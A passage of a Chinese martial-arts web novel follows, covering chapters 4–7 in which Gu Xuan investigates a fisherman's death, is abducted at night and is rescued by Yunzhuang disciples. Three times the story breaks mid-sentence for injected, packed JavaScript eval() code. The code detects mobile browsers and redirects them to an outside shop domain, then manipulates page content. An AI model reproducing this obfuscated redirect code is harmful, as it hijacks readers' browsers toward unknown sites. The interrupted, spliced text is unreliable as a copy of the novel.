顾暄脚下步履不停,“没走错,我今天得问一些事情,还要麻烦魏大哥帮点忙了。” 那位魏大哥三十来岁,师出赤城,是个使刀的好手,喊他去打听那渔夫家在哪里,最合适不过了。 两人一听她要去城东都傻眼了,魏庄半跪在地,“公子,这万万使不得,半个月前您为贼人所伤,现在断不可离王府那么远。” 顾暄正发愁怎么跟这两人解释时,谢公子的声音从后面传来,“正巧我也要去城东,不如我同二公子一起?谢某不才,会使点刀剑,加上几位,应该可以保证你家公子的安全。” 几人回头,见谢公子身佩一把长剑缓步走来,一身淡蓝色袍子,姿态悠闲得就像去郊游。顾柳青跟王府众人打过招呼,说谢公子是贵客,不要怠慢了。 魏庄不敢拿顾暄的安全当玩笑,抱拳道:“公子半个月前受过伤,此时尚未好全,我等实在不敢拿公子安危做赌。谢公子见谅。” 顾暄心想自己皮厚,那点伤一周就差不多好了。但想到自己肩上的伤有一半来自谢公子那把飞来的扇子,尽管知道自己是他救的,但他还是没吭声,看这人会怎么应对。 谢公子叹了口气,道:“你们对公子真是尽职尽责。” 说完抛出一样东西,魏庄一接,便发现那是一块双鱼玉佩。那两条鱼呈对称形状,连鱼嘴上的珠子也是对称形状。那玉佩见了光,原本墨绿色的颜色浅了些,变成淡青色,竟然会随着光的变化而变化颜色。 谢公子道:“这是王爷给我的,见此物者如见王爷,诸位还是跟在我与公子的身后吧。” 这玉佩可以一分为二,顾柳青想着顾映成年后便分他一半,顾映推辞,说自己太年轻了。这玉佩是顾家的祖传信物,几乎是顾家家主的象征,顾柳青为何会对他如此信任、到了可以给玉佩的地步? 顾柳青说这人是他旧友的儿子,如此信任,顾柳青与这位旧友的关系恐怕不浅,极有可能是当年一起念书的同窗。 当年跟着他一起念书的同窗,又姓谢的,好像就只有太子和几位王爷了。再加上关系好这一点,好像只有信王谢承礼了。谢公子如此年轻,她倒是不记得信王有个如此年轻的儿子。 魏庄神色恭敬,双手将玉佩还给谢公子,谢公子却将它给了顾暄,笑道:“反正是要还给王爷的,不如公子先替我收着,等下见了王爷再还回去。” 顾暄接了过去,道了声谢。 两人在一处马房停了脚步,租了马赶路,城东离这里有一段距离,不用轻功的话还是蛮费力的,不如骑马省时。秋萍和几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278636|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍卫在离他们不远处骑马跟着,随时确保他们的安全。 谢公子与他并辔而行,用后面人听不见的声音问:“谢某有些好奇,公子今日缘何到城东?是不是想起什么事了?” 这人说话时唇角仍是挂着淡淡的笑意,其说话用词几乎都快忘了他是个二十来岁出头的俊朗青年。 顾暄学他压低声音,“我也正有此疑问,谢公子又是因何去城东?”在他与魏庄说话时出现,不是碰巧就是很早就跟着他们了。顾暄倾向于后者。 谢公子笑笑,“你是什么目的,我就是什么目的。” 如此,顾暄也不多言了,微微一哂,心里却把顾柳青痛骂了一顿。他没事好好的给玉佩这人干嘛?而且,他怎么在王府住了这么久,还不走?整天神出鬼没,也不知道是干啥勾当的。 按照魏庄的引路,几人一路骑马,来到港口,在一座略微破旧的小屋前停步。说明来意后,那渔夫的妻子皱了皱脸,拍了拍怀里的孩子,苦笑一声:“又来啊,这几天都不知道有多少人来问了……” 话虽如此,那女人还是强打精神,跟他们说了一下事情经过。那渔夫那天说要进城买些东西,那天太阳那么大,一切都跟以前进城的时候一样,只是那男人那天没回来。 妻子以为他是太晚了,在城里留宿一夜,谁曾想那渔夫几天都没回来。家人彻底慌了,忙去报官。官府寻了几天也没寻到,顾暄出事四天后那渔夫的尸体便在一处山坡找着了。 话到此处,女人的眼眶红了,用衣角擦眼泪。谢公子这个时候又非常会做人了,在那儿温言劝慰那女人和她的家人。 顾暄走开了些,对一旁在地上玩木工的女孩和男孩招了招手,他们是渔夫的孩子。顾暄拿出自己身上还没有送出去的木簪,递给两人,看两人好奇地玩着木簪,他便问:“小朋友,你们的爹爹那天进城有没有跟你们说什么?” 几岁孩子,死亡离他们太遥远了,这几天看着大人哭,心里总是懵懵懂懂的,可能要到很久之后才明白有些人永远离开了。 大的女孩想了想,小声说:“爹爹说那天回来给我们带玩具……” 那个小一点的男孩补充道:“朋友。” 女孩想起来了,接道:“爹爹说进城找一位医师朋友,然后说就有钱买东西了。” 谢公子听到了他们的谈话,问女人渔夫在城里有什么朋友吗。女人想了想,摇摇头,复而想起什么似的又点点头,说亲戚朋友都是在这边港口的,照理来说是没有什么城里朋友的。但那天的情况有些意外。 但是,谢公子和顾暄对视一眼,这段时间是禁渔期。所以他为什么说进城就有钱了?是单纯口误还是什么? 女人只说她的丈夫那天说进城找一位朋友谈事情,具体什么事也没说。后面官府沿着这条线想找出这位朋友,却不了了之。 话也问得差不多了,顾暄起身,那将那两枚簪子留给两个孩子,给秋萍递了个眼色。秋萍会意,塞给那女人一块鼓鼓的帕子,道:“今日来的匆忙,也没带什么来看姐姐和两位孩子,您看着需要什么东西再添吧。我们先走一步了。” 几人往回走的同时,东临城中最繁华的一条街道的一处医馆里,一个皮肤苍白、五官深刻的中年人伸了个拦腰,喃喃道:“该走了,下一站……还是去益城吧……” 5. 世面 两人在官道上骑马并行,金乌西沉,落日苍茫。从远到近,橘红色依次变浅,近处的天空甚至点缀着点淡紫,时不时掠过几只归家的飞鸟,叫声悠远。 谢公子看着这幅景象,若有所思,吟出一句诗:“新月已生飞鸟外,落霞更在夕阳西。 顾暄没说话,坐在马上看着日落,脸上带着点怀念。在他和顾映小时候,王爷经常带他们到城郊一处高楼,就为了观赏这日落。残阳如血,整个天地之间好像就只放下了几只鸟和几个人,人在其中是多么渺小。 谢公子问:“刚才的事情,你怎么看?” 顾暄道:“那朋友可疑得很。” “倒也是个方向。”谢公子说,“那日我看那紫衣人,似乎是想取二公子身上的某件东西,不知公子有没有什么头绪?” 顾暄想笑,他身上能有什么值钱东西?如此,他也不遮掩了,道:“就一个玉坠,我九岁那年王爷去灵隐寺求得的。还没有值钱到了要谋财害命的地步。” 谢公子的目光转过来,顾暄拿着玉坠在他眼前晃了一下,便又收了回去。一眼扫过去,一个三角形的黑玉玉坠,除了成色好一些能卖多点钱,真的找不出第二个要抢它的理由。 谢公子道:“公子见谅,谢某在这件案子上有些紧张了。” 顾暄道了声无事,问:“云庄对这案子这么上心的吗?甚至派出弟子来查案?你修为应该不低吧?” 要在这人面前遮遮掩掩,顾暄自诩本事还没有那么大,便干脆直言问之。 “无名小卒一名,不足挂齿。”谢公子没理会她前面两个问题,反过来问她:“阿暄,他们是这样喊你的吧……有没有想过要出东临城看看?” 小时候的顾暄以为东临城是世界上最大的城市。这里最长的一条街道,从头走到尾,都要小半个时辰。后来他学了轻功,绕着半个东临城跑都要大半个时辰。这里处于南北的交界地带,四季分明,温暖湿润,除了梅雨天气不太舒服,他挑不出第二个缺点。 顾暄仍对这人心存警惕,道:“想过,成年之后到我爹其他封地看看,就当见见世面了……” 马蹄声不紧不慢,谢公子拉着缰绳,闻言笑了一下,“那几个地方离东临城又有多远呢?怎么能算见世面呢。” 顾暄笑笑,眼尾却没有挑起来,“公子认为怎样才算见世面呢?” 谢公子说:“南疆,京城,苍山,西北,这几个离东临城几百公里甚至上千公里,你要走远一些,才能看到不同于江南一带的风景。” 要是让王爷知道了这人撺掇自己离开东临城,指不定给王爷气成河豚了。 “世面一词要怎么定义呢?”顾暄说,“哪怕是我到了离东临城最近的城市,那里的风土人情也不可能与东临城一模一样,怎么不能算见世面呢?开阔眼界难道要以距离长短来衡量吗?” 谢公子一怔,就听到顾暄方才还认真的神色松散了下来,又恢复到平日那副不甚认真的神态,道:“您别挑我的理啊,我讲着玩儿的。” 谢公子细细打量他的神色,道:“那天见你的轻功,不像练着玩玩的。” 快要看到马房了,顾暄一拉缰绳,有些尴尬道:“有时候我在外边玩得太晚,或者犯了事儿,王爷一般会派人来抓我,跑得快能免一顿打呢。” 谢公子:…… 将马匹归还,顾暄坐上马车,谢公子没有跟着进来。马车里很暗,模模糊糊从外边透进来一点光,那光在车里晃来晃去,顾暄盯着那点光,神色淡淡的。 谢公子说他练轻功不是玩着的,这人到现在还在试探自己。只有自己知道自己的实力。江湖上的轻功分为需要内力驱使和不需要内力驱使的,他练习后者纯粹是因为他内力不够。 一般人开始习武前,需要开脉,顾名思义就是把经脉打开,以后内力就沿着经脉流转。经脉分为最上等的先天玄脉、大多数人的普通经脉以及废脉。在一些废脉和经脉不适合练武的人中,习武师傅将一缕内力探进他人的经脉里,便会遇到阻塞,由此便可以知道这人不适合习武了。 很不幸的,他就是这一种。 十三岁那年,趁着王爷不在,顾映和顾暄央求沈畅看一下顾暄适不适合习武。沈畅将一缕内力探进他的经脉里,立马受到了阻塞,顾暄也被一震,手臂那块都麻了。 沈畅委婉地说他不用受习武的苦了。言下之意他搞不好还是最低等的废脉,连自己的灵剑都不能拥有。好吧,他承认那时候自己确实很伤心,这意味着一个人游历是不可能了。将来他去游玩,后边估计得跟着王府的一圈侍卫。 估计是为了安慰他,顾映习武时,沈畅就教了自己一种不用内力的轻功。顾暄反正没有内力,搞不好一辈子只会这招,除去躲王府追他的侍卫,闲来无事时便是用轻功跑到城郊那处高楼上,看日落,再长吁短叹一句“时不我待”。 江湖上主要的轻功都是需要内力了,连姿态最优美的“飞云”也是。他练的不知道是哪门子轻功,优美不好说,逃跑倒很方便,像只被人发现的逃窜的老鼠。 马车慢慢停了下来,王府到了。顾暄收回刚才的神色,换上一副有些苦哈哈的表情。帘子被一只骨节分明的手拨开,顾映的声音传进来,“我跟师父比试完才听到你去了城东,要是早些跟我说我就跟你一起去了。” 顾暄就着他的手俯身下车,抱怨道:“好险你没去,那路老抖了,去了也是遭罪,来回一趟我的腰都酸了。” 顾映和他走进王府,道:“晚上叫侍女给你揉揉。查案什么的,交给官府就行了,你不用太担心。出门一趟还是好的,好过整天窝在宅子里。” 谢公子人不知道去哪里了,进了内厅就看到顾柳青坐在首位上喝茶,看见他时神色松了口气。 顾暄把那枚玉佩递了过去,顾柳青微笑着接过来,心里把谢公子来回问候了几遍。他给这枚玉佩的原意是谢公子说要查一些事情,自己顾忌着他是那人的侄子便行了个方便,没想到这货拿出玉佩在那群侍卫面前晃了晃,直接带顾暄去了城东。 夜晚,顾暄喝了药茶后早早上床睡觉,打算明天睡到日上三竿。那些下毒、暗杀什么的,离自己太远了,自己还是老老实实当个富贵公子吧。 亥时末,王爷的书房还亮着灯,不过这次他没有在看公务,他握着一只茶盏,茶盏里是荷叶茶,还冒着热气。 顾柳青的旁边是谢公子,谢公子手里把玩着一把折扇,打开,正面是山水画,背面是两个大字“风雅”。不过这大字写得实在不敢恭维,就像是初学者喝醉了酒胡乱写的。 见顾柳青的目光落在这扇上,谢公子笑了笑,解释道:“我那顽皮的师弟醉了酒写的。” 顾柳青笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278637|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了笑,很快又笑不下去了,那双深棕色的眼睛没了平时的闲散笑意。他凝着眉,道:“如你所见,阿暄只是个会点轻功的孩子,只能说句资质平平。顾某实在不知道他哪点入了云庄的眼。” “啊——”谢公子笑笑,“庄主点名要的,无论是天赋异禀还是资质平平,带到庄主面前就行了,在下只是给庄主跑腿的。” 顾柳青没理会前面的话,只讥讽地一弯唇角,“跑腿?谁敢让你跑腿?公子真会说笑。” 谢公子笑着摇摇头,用那折扇扇了扇,额前的发丝飘逸,倒也有几分恣肆。他说:“天地君亲师,无敢不从。” “更何况——”他接着说,“那天我探了一下公子的脉,似与常人有异——” 顾柳青侧目看着他,目光沉沉。谢公子莞尔一笑,与他坦然对视,倒是不惧他身上的怒意。 另一旁顾暄的院子,睡在外间的侍女打着哈欠,头一点一点的。一阵很淡的烟雾从窗外飘进来,侍女迷迷糊糊地想哪来的烟雾,刚要起身关窗,身子一软趴在案台上了。 顾暄弓身捏着被角睡,其实这是一个很没安全感的睡姿,奈何他习惯了这么睡,因为舒服。可能是今晚喝了药茶,他睡得很沉,甚至还做了两个梦。 第一个梦是他追着一个女人的背影,女人身上的服饰不似梁人,铃铛声清脆,彩带飘飘,她背上的蝴蝶骨随着衣衫的时而贴近时而远离而若隐若现。 第二个梦里,他的眼睛前就像蒙了一层雾,什么东西也看不清。只模糊看见面前很多级台阶,往上抬头看,似乎是一处高台。 他一级一级走上去,那个时候的他短手短腿,好不容易走了上去,只见上面拐角处有个人。那人看不清面容,一身黑衣,他正要转身离开时就被掐住脖子了。 这两个梦他不止做过一次,父兄宽慰他这是他压力太大、思虑过重了。顾暄想想,自己哪来的压力和思虑?十来岁出头时唯一要愁的是那念书像唱歌的教书老师。 他去过东临城所有的高台楼宇,没有一处是像梦里的。梦里那处高台,从底下往上望就像一眼看不见尽头,走了上去从那里往下俯瞰,飞阁流丹,桂殿兰宫,恍若天宫。 问题是他从出生到现在都没有离开过东临城,只能说梦里的高台是他自己想象出来的。 这次的梦没有在被掐脖子那时醒来,那人似乎是凑近看了看他的眼睛,说了句什么话他没听清,然后他的眼尾被人轻轻地抚了抚。 那人的手很凉,他在梦里被激得身子一抖。想要看清那人的脸时,却怎么也看不清。梦在这里醒了。 顾暄的气息有一瞬不稳,他低低地咳了一声,迷迷糊糊要醒过来。 半梦半醒间,他看见床边站着个人影。月色如水,透过雕花窗落在屋内,就像一层薄薄的衣纱。隔着三层纱帐,他以为那人是守夜的侍女,过来确认他夜间有无着凉,便闭了闭眼,嗓音里带着未醒的困意, “小清,把冰鉴放近些,热。” 他刚做了噩梦,后背起了一层薄汗,即使身上盖着薄被仍觉得有些热。等了一会儿,没听见小清的应声,他有些疑惑,眼皮子掀开了条缝看着那人。 这一眼把他的睡意都掀飞了,饶是他再神经大条也该咂摸出不对劲了。小清是个身姿玲珑的女孩,眼前这个人身量颀长,高大威猛,哪里是“小”清! 6. 被掳 刚出来的冷汗还没有散发,新的冷汗就迫不及待渗出来了,一层接一层。顾暄的手摸到床头下一把短刀,刚要动作时,手腕就被钳住了。 这人的力气蛮大的,顾暄毫不怀疑自己那截被这人扣着的手腕快要断了。慌忙之下,他左手成拳往那人脸上砸去。 那人躲了过去,反手也扣住了他的左手。顾暄在生死存亡之际,什么有的没的都使出来了,能活命就行。两只手被扣住之后,他抬脚往那人腰间踹去,那人闪了一闪,将他往床上一甩,动手要点他的穴。 顾暄摸到自己的枕头,扔了出去,除了匕首手中能扔的都扔了。那人身手不错,一一避开。 最后一件东西也被他避开了,那人还没往前走,就听到身后一声巨响。原来是他刚才扔出去的小匣子砸中了冰鉴,两者相撞发出不小的声音。 顾暄心下一喜,终于扔中了。原本他也不太指望这些东西能砸到这个人,还不如想想怎么弄出些动静,让侍卫赶来救人。于是他大喊:“救命啊,有贼——” 外间的侍女不知生死,屋外的侍卫也不知道有没有被放倒,他这样做全然是在赌。 那人反应过来,上前在他身上几处穴位点了几下,顾暄可悲地发现自己口不能言、手脚不能动,真成了砧板上的鱼肉。 那人将自己扛起来,似乎是要带走。顾暄瞪大眼睛,心里万般想挣扎,奈何整具身体像个僵硬的木偶一样,只能看着那人扛着自己往外走。 他的头悬着,脑袋里一阵眩晕,眼前的景象倒了过来,他还有些不习惯。这人身上冰凉得不像人,借着月光才发现这人穿的是一身红衣,看身量应该是个男子,在顾暄眼里像个索命厉鬼一样。 走到门口,传来一阵急促的脚步声。顾暄反应过来,那是在他屋子附近守夜的侍卫,心跳加速起来,祈望侍卫救下自己。 事情是越来越扑朔迷离了。这人大费周章在夜里要掳走他,究竟是为了什么?自己下午就去了一趟城东,莫不是因为这个?要是按照这个猜测,那些人是认为他知道了什么或者要查下去才要杀人灭口?关键是那件案子中途断了线索,也查不下去啊。 他看见侍卫与这人碰了面,领头的魏庄大喊:“贼人,放下公子。” 几个人围了上去,很快顾暄的第三层冷汗就出来了。面对七八个侍卫的围攻,这人扛着他还能还手得游刃有余。下手心狠手辣,几次都是一击毙命,甚至他近身抹了一个侍卫的脖子时,那侍卫的血溅到顾暄脸上,还是热的。 他忽然觉得周围这些景象好陌生。这些侍卫,有的认识了一两年,像魏庄这种的认识了七八年,几乎是占据了他人生的一半时间。 他看着这些人倒在自己的眼前,太阳穴侧传来剧烈的疼痛,他在大口喘息之余竟意外地觉得这疼痛有些熟悉。 一瞬间,他意识到死亡离自己、离这些人这么近。他还看见了魏庄和旁边两三个侍卫拦着他的去路,顾暄头痛得要裂开,不能说话,心急如焚,巴不得与这红衣人同归于尽。 快走,打不过的。 后面估计是为了省时和省力气,他拿顾暄做肉盾,效果立竿见影。身负重伤的几个人对视一眼,登时不敢轻举妄动。 顾暄挨了几下子,背上和手上感觉火辣辣的,各种情绪混在一起,合成一句话:我日你祖宗的。 这些时刻在顾暄眼里是那么漫长,实际上才不过几个转瞬的事情。那人脚尖一点,准备飞到房梁上。 一把剑凌空飞来,月光下泛着银白色的光,剑身周围凝着一层银霜,打断了那人的步伐。 躲过那把剑后,红衣人握剑转身。顾暄这下子看不到身后的视野了,谁让他被这货像麻袋一样扛在肩上。 谢公子的声音在夜色下显得格外阴沉,“阁下还真是不死心。七年前左护法身死京城的教训还不够?竟还敢踏足大梁?” 然后是顾柳青带着怒意的声音,“把人放下!” 顾暄悬着的心丝毫没有要放下的意思,要是父亲和谢公子也像那些人一样倒下来了该怎么办?如此,他宁愿这人给自己一个痛快,要杀要剐,也好过连累亲人朋友。 红衣人“啧”了一声,似乎是觉得这阵势不好对付了。匆忙的脚步声从院子外头想起,时不时伴有金属碰撞的声音,应该是府中卫兵来了。 顾暄倒挂着在这人的肩膀上,忽然看见身后的树上站着一个人,院墙上也站着几个人。借着月光,他看清站在树上的那人身上穿的是一件紫衣,瞳孔不由得瞪大。 来的不止是一个人。 紫衣人先发制人,身影一闪便先出招了,红衣人则是脚步一点,跳到院墙上,竟然是准备跑路。 王府众人与这群来历不明的人打斗着,无暇抽身,顾柳青想提剑跟上去,被一个人拦住了,气得他目眦欲裂, “阿暄——” 红衣人掳着他,几个瞬息就来到了王府外。他脚步不停,使着轻功一直在跑,不知要带他去哪里。 终于来到了一条没什么人的偏僻巷子,那里停着一匹焦躁不安的马,红衣人将他甩在马上,自己也坐了上去,一拉马缰,看来是准备带他跑路了。 未出巷子尽头,一阵笛声传来,不是上次那种时高时低的诡异曲子,换成了一种舒缓的、如流水飞泉般的曲调。虽然好听,顾暄听了却感觉自己本就不能动的身体更加僵硬。 顾暄感觉到红衣人的动作一顿。 他冷笑一声,用内力操纵着几个堆在屋前的箱子,将它们摔在墙上,生生打断了这曲调。他自己则跳了下来,留顾暄半死不活地趴在马上。 巷子尽头出现两个身量差不多的白衣人。一个人用手背擦了擦额头上的汗,感慨道:“可算赶来了,不枉我风餐露宿日夜兼程马不停蹄地赶来呀……” 每说一个成语,他就念得格外字正腔圆,配上那一本正经的口气,莫名的冲淡了这诡异的气氛。 他的同伴则放下手中的笛子,凝眸望向这边。 红衣人眯了眯眼,手里凝起一团紫气,道:“让开。” 他“嘿”了一声,道:“我偏不,谁知道你带着个美人想去哪?月黑风高,天昏地暗,你的行为很诡异啊……” 顾暄听见“美人”一词,感觉身上要起鸡皮疙瘩了。对着一个狼狈地趴在马上见不着真容的人,这厮也能睁着眼胡说八道,实在不知道是说他鬼迷心窍还是满嘴胡掐。虽然他觉得用美人来形容自己没什么不对。 他还没说完话,红衣人就动手了,那团半人高的紫气甩了出去。 那人喊道:“我还没说完呢,真没礼貌!” 他的同伴冷声说:“你话太多了。” “你帮那边的?” 那人一边说话,一边一道劲风打了过去,将那紫气打散。可慢慢的,那紫气萦绕在他的周围。那人“哎”了一声,眼睛变成金色,身上也漫起浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278638|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅的金光,他用内力一震,以他为中心就像掀起了一圈又一圈的无形波浪,那紫气生生被火焰灼烧掉了。 指尖燃起一簇火,那人笑眯眯道:“如何呢?” 红衣人飞身而上,三个人打在一起。顾暄被点了穴,趴在马背上观战,拼命往上挑眼睛,想看看他们的战况。 话多的那个人用的是长刀,他的同伴用鞭,红衣人则是什么都不用,就靠双手那凝起来的各种颜色的毒气。 话多的那人嘴也没闲着,“诶,你们这群人千里迢迢到这儿是为了什么?总不会是为了来撒野的吧?我要是你们,就老老实实待在那一亩三分地,好过整天跑来人家地盘发疯。被人追着打,感觉怎么样?” 红衣人挥袖一甩,哼道:“你话好多,不知道你的寿命能不能跟你说话一样长。” “好说好说,总比你长,搞不好今晚你的小命就留在这里了。” 顾暄看呆了,这三人的修为应该都是二重境以上。当今武学有五重境界,每一重大境界分为下境、中境和上境三重小境界。 寻常人十二三岁开脉,早一些的宗门弟子则十一岁开脉,一般十七八岁有一重境实力算不错的。他那十八岁的哥哥也才摸到一重境中境的门槛。这几个人是什么来头? 在又一次将红衣人甩过来的毒气震掉后,话多的那人抱怨道:“还有没有点新奇的东西?还有,不要老是放毒好吗?一点江湖精神都没有。” 红衣人翻出一个小瓶子,打开,一团黑气渐渐扩大,快要比一个人高了,“如你所愿。” “还有预制毒啊?” 那话少的人对他的同伴说:“你真是乌鸦嘴。” 话多那人道:“师兄,这种情况就不要那么多话了好吗?” 全场话最多的就是他,他竟然还有脸说别人话多,顾暄啧啧称奇。 被称作师兄那人飞身一掠,躲开了那团黑气,黑气将那话多的师弟笼罩其中,只能看见里边时不时亮起的一点金光。 红衣人一人对两人体力不支,他退回到马匹身边,想把顾暄揪过去,奈何抓到了黑玉坠子的黑绳。顾暄被这一勒带着摔了下马,话又说不出来,感觉自己这下真的要被勒死了。 师兄一记狠厉鞭子抽过来,地上的砖都碎了,红衣人不得不躲开,堪堪避开那能将他抽成两半的鞭子。顾暄躺在地上动弹不得,头又痛,背后是他们激烈交战时的碰撞声。他心惊胆战,生怕两个人打着打着不留意一脚踩在他的身上,那他就真成肉饼了。 不远处一声巨响,那团黑气生生被破开,话多的那人一手持长刀,另一手在鼻子前扇了扇,嫌弃道:“呕——臭死了,师兄我来助你。” 一道银光亮起,红衣人闪躲不及,被长鞭抽中了。师兄道:“不用。师弟,你还是顾好你自己吧。” 红衣人捂着胸口,后退四五步,贡献一口血洒在前襟上,恨恨地看着这两人。 师兄微微一笑,不在意他的目光,道:“六年前我师父杀了左护法,六年后我和你在这里碰面,你猜我会不会杀你?” 二对一,大势已去,红衣人不再纠缠,身形一动,人影便不见了。 师兄要起身去追,师弟摆摆手,脸色痛苦地半弯着腰,道:“别追,那货浑身是毒…靠,快来扶我一把。” 师兄扶着他,让他撑着墙壁站着。然后师兄扶顾暄起来,在他身上点了几下,顾暄身子一松,竟能活动了。 7. 云庄 顾暄被扶起来后,瞧清了扶自己那人:一身白袍,衣摆处用银线绣着大片大片的兰花,远看看不见,走路时却可以看见衣摆上的银光闪动,竟和谢公子那日的衣着一样。 他看着比顾映大三四岁,神色虽然瞧着冷淡,但相貌极其出色,偏向男生女相。饶是顾暄时不时揽镜自照,也忍不住愣了一瞬。 师弟轻咳了一声,抛了个揶揄的眼神给师兄。顾暄回过神,忙拱手行礼,谢过两位的救命之恩。 话多的师弟转过头,他的衣着和他的师兄以及谢公子一样,均是兰花白袍。他自我介绍道:“我叫柳无喧,无情的无,喧闹的喧。这位是我师兄云谨,谨慎的谨。” 名字无喧,他本人却话多,倒是奇怪。 顾暄飞快在脑海中略过朝廷上和江湖上姓柳和姓云的人家,朝廷的事情他不太熟悉,不过青州一带倒是有个益城柳家,不知道和这位柳无喧有没有什么关系。 顾暄道:“东平王次子,见过二位公子。” 柳无喧笑道:“哦哦,二公子,幸会幸会。” 话音刚落,一个人影飞来,竟是谢公子。他衣衫微乱,气息也有些不稳,落地马上过来察看顾暄有没有缺胳膊少腿。顾暄手上被划了几刀,背上挨了几击,因为他没有内力护身,本就一般的伤势在他身上加重了。 云谨刚才给他解了穴后又封了他几处穴位,为的是止血。 谢公子道:“还好你们来了。” 柳无喧和他打了声招呼,道:“是啊,不枉我们赶了一天的路。你被什么东西缠住了吗,怎么现在才到?” 谢公子没了平时的温文尔雅,抛出一个名字:“紫魈。” 柳无喧跟云谨对视一眼,“巧了,刚才我们跟红鬾打了一架。” 紫魈,红鬾,是刚才那两个穿着紫衣服和红衣服的人吗?顾暄回想片刻,记不起江湖上有这么一号人物。 随后,顾柳青带兵赶到。顾映也来了,他只穿了件单薄的中衣,应该是睡着睡着被告知有贼人入府,匆忙起身。 见到父兄,顾暄紧绷的心神堪堪放松下来。他抓着顾映的袖子,头痛袭来,一双眼睛里盛着些许惶恐,问:“小清怎么样了?其他人呢?” 顾映神色凝重地扶着他,只说:“你先冷静一下。” 顾暄膝盖一软,差点跪了下来。脑海里仿佛有一簇烟花炸开,震得他心神俱裂,身旁呼声四起,他分辨不清那些声音是谁发出的。 顾柳青在他颈侧捏了一下,顾暄瞪大眼睛,身子彻底倒了下去,顾映及时接住了他。 时隔多年的老毛病再次找上门,顾暄像一叶扁舟里的微尘,在无垠的海面上漂浮,时而被高高举起,时而重重落下,父兄的声音仿佛在很远之外。 一觉醒来时是第二天下午,时隔半个月,他的手上又被包上了熟悉的绷带。他睁眼看了看头顶的浅青色帐子,枕头旁还放着她那天扔出去的小匣子,连帐顶吊着的一个小铃铛也在原处,一切都像是以前的样子。 但有些东西是发生改变了。小清和那几位侍卫的死,魏庄和其他人的受伤,以及自己可能连累到的父兄,这些都让他感到头疼和迷茫。 这伙人究竟想要他身上的什么东西呢?不惜如此大的代价把他掳走。如果是紫衣人那天引他出来可能是巧合,昨夜的事情便推翻了那一猜测。 得知他醒后,顾柳青和顾映过来看他,连着那三位公子。 顾暄屏息喝下一碗深棕色的药,皱了皱脸,问:“昨晚来抓我的,是什么人?他们要取我性命还是要拿什么东西?” 他问这问题时眼睛垂着,长睫遮住了他的眼睛,让人看不清他眼睛里的情绪。 顾柳青斟酌了一下措辞,道:“底下的人还在查,可能是和王府积怨的。” 顾暄点点头,没说信不信,只是让王爷好好安置那些受伤的人和死去的人的亲属。除此之外,就没说其他事了,疲惫的神色表明他要休息了。 几位公子和王爷世子告别后,回到谢公子的住处。王爷给谢公子安排的院子清静,但胜在环境不错,假山流水,修竹繁茂,自有一派生机。 柳无喧几人刚去看望了二公子,沿途顺便欣赏了一下王府的景致。王府后院,有两条小径,一条鹅卵石铺成,通向前面的会客厅;另一条由青砖石铺成,斗折蛇形,通向临湖的一个迎客亭,道路两旁名花异草盛放其间,好不热闹。 夏天时,可以在迎客亭喝茶会友,茶是荷叶茶,景是湖中错落有致的荷花;冬天时亭子周围放上挡风的帘子,留一面面向湖水,煮一壶酒,看小雪簌簌,万籁俱寂。 每一处院子或亭子的匾额,都是顾柳青用他那在民间颇有名气的行楷写的,无处不雅致。 饶是生在京城的云谨也不由得感慨,“王爷真是个讲究人……和京城那位信王有得一比。” 柳无喧东瞅瞅西看看,不忘点头附和道:“是啊,有钱真好,我什么时候也能这样啊。” “……”云谨转过头,看着快他们一步的谢公子,问:“师兄,师父那边怎么说?” 原来谢公子竟然是这两位的师兄。 谢公子沉声道:“今早传信过来,说让王爷履约。我看这事不好办,王爷那边也一直没松口……” 柳无喧悻悻地“嘿”了一声,言语中对这位师父的尊敬没二两重,“老头子就会强人所难,自己出牙力,指使人倒是勤快……我真不明白师父为什么要招这样一个人入云庄,他看着也不会武功啊,现在被吓了一跳,估计得卧床半个月了……” 谢公子说:“你能揣测到师父的意图,那师父就不是师父了。” 柳无喧一愣,谢公子转眼间就走了有一段距离,道:“你们过来一下。” 另一边,顾暄一觉睡到下午,起来后吃了点东西垫垫肚子,然后是服药。这几日,在他院子附近巡视的人多了一倍,每隔几个时辰就换人,布防森严得叫人咂舌。 顾柳青每晚会过来陪他吃饭,顾映下午练完剑后就来找他,那三位公子则再也没有露面。顾暄躺了三天,将自己前十五年的人生都回味了一遍,终于发现自己没什么事干了。 因为服药加上一直服用的药茶,他的身体恢复得不错。这几天王府尽力想维持一个正常的局面,但他还是感觉很不对劲,无论是繁忙的顾柳青,还是对他缄口如瓶的顾映,再加上那天小清等人的死亡与受伤给他带来的阴影还未散。他觉得那群人就是想杀他,但是王府众人又矢口否认。 